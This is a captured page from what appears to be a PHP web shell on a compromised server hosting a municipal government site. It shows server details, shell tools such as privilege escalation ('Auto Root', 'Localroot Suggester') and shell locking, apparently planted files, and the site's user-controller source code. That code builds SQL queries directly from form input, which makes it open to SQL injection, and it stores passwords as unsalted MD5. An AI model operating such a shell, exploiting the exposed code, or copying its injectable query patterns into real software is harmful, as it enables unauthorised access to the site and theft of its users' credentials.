Linux 186-227-203-186.cprapid.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
Apache
Server IP : 186.227.203.186 & Your IP : 216.73.217.146
Domains : 154 Domain
User : pmcaxingo
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
pmcaxingo /
public_html /
dimon /
controllers /
Delete
Unzip
Name
Size
Permission
Date
Action
DBController.php
2.75
KB
-rw-r--r--
2024-11-08 18:23
DimonController.php
2.04
KB
-rw-r--r--
2023-10-25 14:02
PublicacaoController.php
16.42
KB
-rw-r--r--
2025-06-11 20:02
URI.php
3.03
KB
-rw-r--r--
2023-10-25 14:02
UsuarioController.php
5.05
KB
-rw-r--r--
2024-11-06 14:55
header.php
0
B
-rw-r--r--
2026-02-23 05:11
japet.php
0
B
-rw-r--r--
2026-02-23 05:11
japetv10.php
0
B
-rw-r--r--
2026-02-23 05:09
japetv11.php
0
B
-rw-r--r--
2026-02-23 05:09
Save
Rename
<? class UsuarioController{ function __construct($id = null){ if($id){ $query = mysql_query("select usuarios.*, usuarios_grupos.nome as nomeGrupo from usuarios inner join usuarios_grupos on (cod_grupo = usuarios_grupos.id) where usuarios.id = $id") or die("erroDb."); $array = mysql_fetch_array($query); $this->id = $array['id']; $this->nome = $array['nome']; $this->nomeGrupo = $array['nomeGrupo']; $this->login = $array['login']; $this->grupo_id = $array['cod_grupo']; $this->status = $array['status']; $this->nomeStatus = self :: nomeStatus($array['status']); } } function login(){ $this -> form(); ?> <script> $(".usuario-form [name=nome]").parent().hide(); $(".usuario-form button[type=submit]").text("Autenticar"); </script> <? } function index(){ echo" <legend> Usuários <a href='/dimon/c/usuario/addUsuario'>Novo usuário</a> </legend> <div class='index-lista-usuario'>"; self :: listar(); echo" </div> <div class='usuarioAlert'></div> <script> $('.excluirUsuario').click(function(){ id = $(this).attr('id'); $('.usuarioAlert') .html('Tem certeza?') .dialog({ modal : true, title : 'Confirmar exclusão', buttons : { Sim : function(){ $(this).text('Excluindo...').load('/dimon/a/usuario/excluirUsuario/' + id); }, Não : function(){ $(this).dialog('close'); } } }); }); </script>"; } function form(){ include"./views/usuario/usuario-form.php"; } function form_add_user(){ include"./views/usuario/form-add-user.php"; } function autenticar(){ $_autenticar = new DBController; $_autenticar->sql = "select * from usuarios where login = '$_POST[usuario]' and senha = md5('$_POST[senha]')"; $array = $_autenticar -> select(); // var_dump(count($array)); if(count($array) > 1){ $_SESSION["acesso"] = true; $_SESSION["usuario"] = $_POST["usuario"]; echo DimonController :: alert("Autenticado com sucesso."); echo DimonController :: location("/Publicacao/home"); } else{ echo DimonController :: alert("Usuário e/ou senha inválidos.", "alert-danger"); } } function recuperacao(){ $_autenticar = new DBController; $_autenticar->sql = "select * from usuarios where email = '$_POST[email]' and cpf = '$_POST[cpf]'"; $array = $_autenticar -> select(); if(count($array) > 1){ ?> <script> $(".email").remove(); $(".cpf").remove(); $(".login_btn").html("Salvar"); $(".usuario-form-alert").append('<div class="input-group mb-3 email"><div class="input-group-append"><span class="input-group-text"><i class="fas fa-key"></i></span></div><input type="text" name="senha" class="form-control" placeholder="Digite sua nova senha"/></div>'); $("input[name=senha]").focus(); $(".usuario-form").attr("data-rota","/a/Usuario/alterar_senha/<?= $array[id] ?>"); </script> <? } else{ echo DimonController :: alert("Dados inválidos.", "alert-danger"); } } function alterar_senha($id){ $_POST["id"] = $id; $nova_senha = md5($_POST["senha"]); $_POST["senha"] = $nova_senha; $_update = new DBController; $_update->table = "usuarios"; $db = $_update -> update($_POST); if(!$db){ echo DimonController :: alert("Senha salva."); echo DimonController :: location("/login"); } else echo $db; } function logout(){ session_destroy(); echo DimonController :: alert("Sessão encerrada. Aguarde."); echo DimonController :: location("http://dimon.caxingo.pi.gov.br/"); } function user_list(){ $_user = new DBController; $_user->sql = "select * from usuarios"; $_array = $_user -> select(); include"./views/usuario/user_list.php"; } function validar_senha(){ // var_dump($_POST); if($_POST["senha1"] == $_POST["senha2"]){ $this->senha = $_POST["senha1"]; return true; } else{ return false; } } function add_usuario(){ if(!$_POST){ $this -> form_add_user(); } else{ $user = $_POST["usuario"]; $_user = new DBController; $_user->sql = "select * from usuarios where login = '$user' or cpf = '$_POST[cpf]'"; $array = $_user -> select(); if(count($array) > 1){ echo DimonController :: alert("Usuário: {$user} ja possui cadastro.","alert-danger"); } else{ $validar_senha = $this -> validar_senha(); if(!$validar_senha){ echo DimonController :: alert("As senhas não são indênticas.","alert-danger"); }else{ $this->location = "/Usuario/user_list"; $_insert = new DBController; $_insert->table = "usuarios"; $_DADOS = $_POST; $_DADOS["login"] = $user; $_DADOS["senha"] = md5($this->senha); // var_dump($_DADOS["senha"]); $db = $_insert -> insert($_DADOS); if(!$db){ echo DimonController :: alert("Usuário cadastrado."); echo DimonController :: location($this->location); } else echo $db; } } } } }